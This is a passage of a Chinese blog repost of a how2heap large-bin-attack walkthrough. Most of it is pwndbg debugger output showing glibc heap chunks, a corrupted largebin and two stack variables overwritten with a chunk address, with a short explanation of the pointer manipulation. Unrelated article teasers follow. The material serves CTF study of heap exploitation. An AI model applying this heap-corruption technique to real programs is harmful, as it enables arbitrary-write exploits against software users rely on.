────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────0x4009dd <main+823>    lea    rdx, [rbp - 0x28]0x4009e1 <main+827>    mov    esi, 0x40102c0x4009e6 <main+832>    mov    rdi, rax0x4009e9 <main+835>    mov    eax, 00x4009ee <main+840>    call   fprintf@plt <0x400570>► 0x4009f3 <main+845>    mov    eax, 00x4009f8 <main+850>    mov    rsi, qword ptr [rbp - 8]0x4009fc <main+854>    xor    rsi, qword ptr fs:[0x28]0x400a05 <main+863>    je     main+870 <0x400a0c>↓0x400a0c <main+870>    leave  0x400a0d <main+871>    ret    
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/large_bin_attack .c51 52     malloc(0x90);53     fprintf(stderr, "再次 malloc,会把释放的第三个 chunk 插入到 largebin 中,同时我们的目标已经改写了:\n");54     fprintf(stderr, "stack_var1 (%p): %p\n", &stack_var1, (void *)stack_var1);55     fprintf(stderr, "stack_var2 (%p): %p\n", &stack_var2, (void *)stack_var2);► 56     return 0;57 }
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp  0x7fffffffe590 —▸ 0x6037a0 ◂— 0x0
... ↓
02:0010│      0x7fffffffe5a0 —▸ 0x603010 —▸ 0x7ffff7dd1e98 (main_arena+888) —▸ 0x7ffff7dd1e88 (main_arena+872) —▸ 0x7ffff7dd1e78 (main_arena+856) ◂— ...
03:0018│      0x7fffffffe5a8 —▸ 0x603370 ◂— 0x0
04:0020│      0x7fffffffe5b0 —▸ 0x6037b0 —▸ 0x603360 ◂— 0x0
05:0028│      0x7fffffffe5b8 ◂— 0xe5d20a6fe83dd300
06:0030│ rbp  0x7fffffffe5c0 —▸ 0x400a10 (__libc_csu_init) ◂— push   r15
07:0038│      0x7fffffffe5c8 —▸ 0x7ffff7a2d830 (__libc_start_main+240) ◂— mov    edi, eax
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────► f 0           4009f3 main+845f 1     7ffff7a2d830 __libc_start_main+240
pwndbg> x/40gx 0x603360-0x20
0x603340:       0x0000000000000000      0x0000000000000000
0x603350:       0x0000000000000000      0x0000000000000000
0x603360:       0x0000000000000000      0x00000000000003f1
0x603370:       0x0000000000000000      0x00000000006037a0
0x603380:       0x0000000000000000      0x00000000006037a0
0x603390:       0x0000000000000000      0x0000000000000000
0x6033a0:       0x0000000000000000      0x0000000000000000
0x6033b0:       0x0000000000000000      0x0000000000000000
0x6033c0:       0x0000000000000000      0x0000000000000000
0x6033d0:       0x0000000000000000      0x0000000000000000
0x6033e0:       0x0000000000000000      0x0000000000000000
0x6033f0:       0x0000000000000000      0x0000000000000000
0x603400:       0x0000000000000000      0x0000000000000000
0x603410:       0x0000000000000000      0x0000000000000000
0x603420:       0x0000000000000000      0x0000000000000000
0x603430:       0x0000000000000000      0x0000000000000000
0x603440:       0x0000000000000000      0x0000000000000000
0x603450:       0x0000000000000000      0x0000000000000000
0x603460:       0x0000000000000000      0x0000000000000000
0x603470:       0x0000000000000000      0x0000000000000000
pwndbg> n
57      }LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────RAX  0x0RBX  0x0RCX  0x7ffff7b042c0 (__write_nocancel+7) ◂— cmp    rax, -0xfffRDX  0x7ffff7dd3770 (_IO_stdfile_2_lock) ◂— 0x0RDI  0x2RSI  0x7fffffffbf00 ◂— 0x61765f6b63617473 ('stack_va')R8   0x7ffff7feb700 ◂— 0x7ffff7feb700R9   0x26R10  0x0R11  0x246R12  0x4005b0 (_start) ◂— xor    ebp, ebpR13  0x7fffffffe6a0 ◂— 0x1R14  0x0R15  0x0RBP  0x7fffffffe5c0 —▸ 0x400a10 (__libc_csu_init) ◂— push   r15RSP  0x7fffffffe590 —▸ 0x6037a0 ◂— 0x0RIP  0x4009f8 (main+850) ◂— mov    rsi, qword ptr [rbp - 8]
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────0x4009e1 <main+827>    mov    esi, 0x40102c0x4009e6 <main+832>    mov    rdi, rax0x4009e9 <main+835>    mov    eax, 00x4009ee <main+840>    call   fprintf@plt <0x400570>0x4009f3 <main+845>    mov    eax, 0► 0x4009f8 <main+850>    mov    rsi, qword ptr [rbp - 8]0x4009fc <main+854>    xor    rsi, qword ptr fs:[0x28]0x400a05 <main+863>    je     main+870 <0x400a0c>↓0x400a0c <main+870>    leave  0x400a0d <main+871>    ret    0x400a0e               nop    
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/large_bin_attack .c52     malloc(0x90);53     fprintf(stderr, "再次 malloc,会把释放的第三个 chunk 插入到 largebin 中,同时我们的目标已经改写了:\n");54     fprintf(stderr, "stack_var1 (%p): %p\n", &stack_var1, (void *)stack_var1);55     fprintf(stderr, "stack_var2 (%p): %p\n", &stack_var2, (void *)stack_var2);56     return 0;► 57 }
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp  0x7fffffffe590 —▸ 0x6037a0 ◂— 0x0
... ↓
02:0010│      0x7fffffffe5a0 —▸ 0x603010 —▸ 0x7ffff7dd1e98 (main_arena+888) —▸ 0x7ffff7dd1e88 (main_arena+872) —▸ 0x7ffff7dd1e78 (main_arena+856) ◂— ...
03:0018│      0x7fffffffe5a8 —▸ 0x603370 ◂— 0x0
04:0020│      0x7fffffffe5b0 —▸ 0x6037b0 —▸ 0x603360 ◂— 0x0
05:0028│      0x7fffffffe5b8 ◂— 0xe5d20a6fe83dd300
06:0030│ rbp  0x7fffffffe5c0 —▸ 0x400a10 (__libc_csu_init) ◂— push   r15
07:0038│      0x7fffffffe5c8 —▸ 0x7ffff7a2d830 (__libc_start_main+240) ◂— mov    edi, eax
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────► f 0           4009f8 main+850f 1     7ffff7a2d830 __libc_start_main+240
pwndbg> x/40gx 0x603360-0x20
0x603340:       0x0000000000000000      0x0000000000000000
0x603350:       0x0000000000000000      0x0000000000000000
0x603360:       0x0000000000000000      0x00000000000003f1
0x603370:       0x0000000000000000      0x00000000006037a0
0x603380:       0x0000000000000000      0x00000000006037a0
0x603390:       0x0000000000000000      0x0000000000000000
0x6033a0:       0x0000000000000000      0x0000000000000000
0x6033b0:       0x0000000000000000      0x0000000000000000
0x6033c0:       0x0000000000000000      0x0000000000000000
0x6033d0:       0x0000000000000000      0x0000000000000000
0x6033e0:       0x0000000000000000      0x0000000000000000
0x6033f0:       0x0000000000000000      0x0000000000000000
0x603400:       0x0000000000000000      0x0000000000000000
0x603410:       0x0000000000000000      0x0000000000000000
0x603420:       0x0000000000000000      0x0000000000000000
0x603430:       0x0000000000000000      0x0000000000000000
0x603440:       0x0000000000000000      0x0000000000000000
0x603450:       0x0000000000000000      0x0000000000000000
0x603460:       0x0000000000000000      0x0000000000000000
0x603470:       0x0000000000000000      0x0000000000000000
pwndbg> p &stack_var1 - 2
$1 = (unsigned long *) 0x7fffffffe580
pwndbg> p &stack_var2 - 4
$2 = (unsigned long *) 0x7fffffffe578
pwndbg> p &stack_var2
$3 = (unsigned long *) 0x7fffffffe598
pwndbg> p &stack_var1
$4 = (unsigned long *) 0x7fffffffe590
pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x603140 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x603140 /* '@1`' */
smallbins
empty
largebins
0x400 [corrupted]
FD: 0x603360 ◂— 0x0
BK: 0x603360 —▸ 0x6037a0 —▸ 0x7fffffffe580 ◂— 0x6037a0
pwndbg> parseheap
addr                prev                size                 status              fd                bk                
0x603000            0x0                 0xa0                 Used                None              None
0x6030a0            0x0                 0xa0                 Used                None              None
0x603140            0x0                 0x1f0                Freed     0x7ffff7dd1b78    0x7ffff7dd1b78
0x603330            0x1f0               0x30                 Used                None              None
0x603360            0x0                 0x3f0                Freed                0x0          0x6037a0
Corrupt ?! (size == 0) (0x603750)
pwndbg> x/10gx 0x7fffffffe598
0x7fffffffe598: 0x00000000006037a0      0x0000000000603010
0x7fffffffe5a8: 0x0000000000603370      0x00000000006037b0
0x7fffffffe5b8: 0xe5d20a6fe83dd300      0x0000000000400a10
0x7fffffffe5c8: 0x00007ffff7a2d830      0x00007fffffffe6a8
0x7fffffffe5d8: 0x00007fffffffe6a8      0x00000001f7b99608
pwndbg> x/10gx 0x7fffffffe590
0x7fffffffe590: 0x00000000006037a0      0x00000000006037a0
0x7fffffffe5a0: 0x0000000000603010      0x0000000000603370
0x7fffffffe5b0: 0x00000000006037b0      0xe5d20a6fe83dd300
0x7fffffffe5c0: 0x0000000000400a10      0x00007ffff7a2d830
0x7fffffffe5d0: 0x00007fffffffe6a8      0x00007fffffffe6a8
pwndbg> 
pwndbg> p &stack_var1
$5 = (unsigned long *) 0x7fffffffe590
pwndbg> p &stack_var2
$8 = (unsigned long *) 0x7fffffffe598
pwndbg> p (void *)stack_var1
$9 = (void *) 0x6037a0
pwndbg> p (void *)stack_var2
$10 = (void *) 0x6037a0
pwndbg> 

​ 把2带入4得到:fwd->bk_nextsize->fd_nextsize=victim,同时下面有:fwd->bk=victim。也就是说之前我们伪造的p2的bk跟bk_nextsize指向的地址被改为了victim,即(unsigned long)(&stack_var1 - 2)与(unsigned long)(&stack_var2 - 4)被改为了victim 

pwndbg> p &stack_var1
$5 = (unsigned long *) 0x7fffffffe590
pwndbg> p &stack_var2
$8 = (unsigned long *) 0x7fffffffe598
pwndbg> p (void *)stack_var1
$9 = (void *) 0x6037a0
pwndbg> p (void *)stack_var2
$10 = (void *) 0x6037a0


 

4.参考资料

【PWN】how2heap | 狼组安全团队公开知识库

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/681704.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

EL表达式和JSTL标签

1.1. EL表达式概述 EL&#xff08;Expression Language&#xff09;是一门表达式语言&#xff0c;它对应<%…%>。我们知道在JSP中&#xff0c;表达式会被输出&#xff0c;所以EL表达式也会被输出。 EL表达式的格式&#xff1a;${…}&#xff0c;例如&#xff1a;${12}…

【深度学习】S2 数学基础 P1 线性代数(上)

目录 基本数学对象标量与变量向量矩阵张量降维求和非降维求和累计求和 点积与向量积点积矩阵-向量积矩阵-矩阵乘法 深度学习的三大数学基础 —— 线性代数、微积分、概率论&#xff1b; 自本篇博文以下几遍博文&#xff0c;将对这三大数学基础进行重点提炼。 本节博文将介绍线…

mysql Day05

sql性能分析 sql执行频率 show global status like Com_______ 慢查询日志 执行时间超过10秒的sql语句 profile详情 show profiles帮助我们了解时间都耗费到哪里了 #查看每一条sql的耗时情况 show profiles#查看指定query_id的sql语句各个阶段的耗时情况 show profile fo…

单片机学习笔记---DS18B20温度传感器

目录 DS18B20介绍 模拟温度传感器的基本结构 数字温度传感器的应用 引脚及应用电路 DS18B20的原理图 DS18B20内部结构框图 暂存器内部 单总线介绍 单总线电路规范 单总线时序结构 初始化 发送一位 发送一个字节 接收一位 接收一个字节 DS18B20操作流程 指令介…

作业2024/2/8

数据类型与作用域练习 1、选择题 1.1、以下选项中,不能作为合法常量的是 __________ A&#xff09;1.234e04 B&#xff09;1.234e0.4 C&#xff09;1.234e4 D&#xff09;1.234e0 1.2、以下定义变量并初始化错误的是_____________。 A) char c1 ‘H’ &…

基于 Python 深度学习的电影评论情感分析系统,附源码

博主介绍&#xff1a;✌程序员徐师兄、7年大厂程序员经历。全网粉丝12W、csdn博客专家、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java技术领域和毕业项目实战✌ &#x1f345;文末获取源码联系&#x1f345; &#x1f447;&#x1f3fb; 精彩专栏推荐订阅&#x1f447;…

漫画sql数据分析

第一章 数据分析概况 1.1数据分析定义 数据分析是指根据分析目的&#xff0c;用适当的分析方法及工具&#xff0c;对数据进行处理分析&#xff0c;提取有价值的信息&#xff0c;形成有效结论的过程。 1.2数据分析作用 数据分析在我们日常工作中主要有三大作用&#xff0c;…

前端JavaScript篇之await 在等待什么呢?async/await 如何捕获异常

目录 await 在等待什么呢&#xff1f;async/await 如何捕获异常 await 在等待什么呢&#xff1f; await 关键字实际上是等待一个表达式的结果&#xff0c;这个表达式的计算结果可以是 Promise 对象或者其他值。如果 await 后面的表达式不是 Promise 对象&#xff0c;那么 awai…

Spring Boot3自定义异常及全局异常捕获

⛰️个人主页: 蒾酒 &#x1f525;系列专栏&#xff1a;《spring boot实战》 &#x1f30a;山高路远&#xff0c;行路漫漫&#xff0c;终有归途。 目录 前置条件 目的 主要步骤 定义自定义异常类 创建全局异常处理器 手动抛出自定义异常 前置条件 已经初始化好一个…

神经网络中的前向传播(Forward Propagation)和后向传播(Backward Propagation)

有时候会搞混这两个概念。什么是前向传播&#xff1f;不是只有后向传播吗&#xff1f;后向传播好像是用来更新模型参数的&#xff0c;前向传播是什么东西&#xff1f; 带着疑问再次梳理一遍&#xff1a; 前向传播 前向传播是神经网络进行预测的过程。在这个过程中&#xff0c…

Python在生物信息学中的应用:列表推导式

列表中有一些数据&#xff0c;我们想提取或删除某些值&#xff0c;该怎么办&#xff1f; 解决方案 最简单的方法是使用列表推导式&#xff08;list comprehension&#xff09;。例如&#xff1a; >>> mylist [1, 4, -5, 10, -7, 2, 3, -1] >>> [n for n in …

「Linux」基础命令

目录结构 Linux只有1个顶级目录&#xff0c;称为“根目录”路径之间的层级关系&#xff0c;使用/来表示&#xff0c;例如&#xff1a;/usr/local/hello.txt 开头的/表示根目录后面的/表示层级关系 命令入门 命令的通用格式&#xff1a;command [ -options ] [ parameter] c…

vue 获取 form表格 的值 的方法

vue 获取 form表格 的值 代码 let discountLastMoney this.form.getFieldValue(discountLastMoney)-0

格式化字符串的简单学习

文章目录 Format String格式化字符串函数格式化字符串参数原理 这几天学的少&#xff0c;过完年就一直在走亲戚&#xff08;现在看到肉就犯恶心 Format String 格式化字符串函数可以接受可变数量的参数&#xff0c;并将第一个参数作为格式化字符串&#xff0c;根据其来解析之…

[Python进阶] 识别验证码

11.3 识别验证码 我们再开发某些项目的时候&#xff0c;如果遇到要登录某些网页&#xff0c;那么会经常遇到输入验证码的情况&#xff0c;而每次人工输入验证码的话&#xff0c;比较浪费时间。于是&#xff0c;可以通过调用某些接口进行识别。 11.3.1 调用百度文字识别接口 …

运算符

章节目录&#xff1a; 一、算术运算符二、赋值运算符三、比较运算符四、逻辑运算符五、结束语 一、算术运算符 该运算符的作用是处理四则运算。 算术运算符包括以下符号&#xff1a; 运算符术语示例结果正号33-负号-3-3加10 515-减10 - 55*乘10 * 550/除10 / 52%取模(取余)10…

中小学信息学奥赛CSP-J认证 CCF非专业级别软件能力认证-入门组初赛模拟题第一套(阅读程序题)

CCF认证CSP-J入门组模拟测试题 二、阅读程序题 (程序输入不超过数组或字符串定义的范围&#xff1b;除特殊说明外&#xff0c;判断题 1.5分&#xff0c;选择题3分&#xff0c;共计40分) 第一题 1 #include<iostream> 2 using namespace std; 3 int a,b,c; 4 int main…

【C++】内存五大区详解

&#x1f490; &#x1f338; &#x1f337; &#x1f340; &#x1f339; &#x1f33b; &#x1f33a; &#x1f341; &#x1f343; &#x1f342; &#x1f33f; &#x1f344;&#x1f35d; &#x1f35b; &#x1f364; &#x1f4c3;个人主页 &#xff1a;阿然成长日记 …

Kotlin基本语法1到函数

1.range表达式 fun main() {var age 12.3if (age in 0.0..3.3){println("婴幼儿")}else if (age in 4.0..12.2){println("少儿")}else{println("未知")}/*** in 后面还可以接 list set 都可以*/if (age !in 0.0..3.3){println("婴幼儿&quo…

UE4运用C++和框架开发坦克大战教程笔记(十八)(第55~57集)

UE4运用C和框架开发坦克大战教程笔记&#xff08;十八&#xff09;&#xff08;第55~57集&#xff09; 55. UI 进入退出动画HideOther 面板出现时隐藏其他面板添加面板出现和收起的动画效果编写遮罩管理器前的准备 56. 弹窗进入界面57. UI 显示隐藏与遮罩转移完善遮罩管理器 55…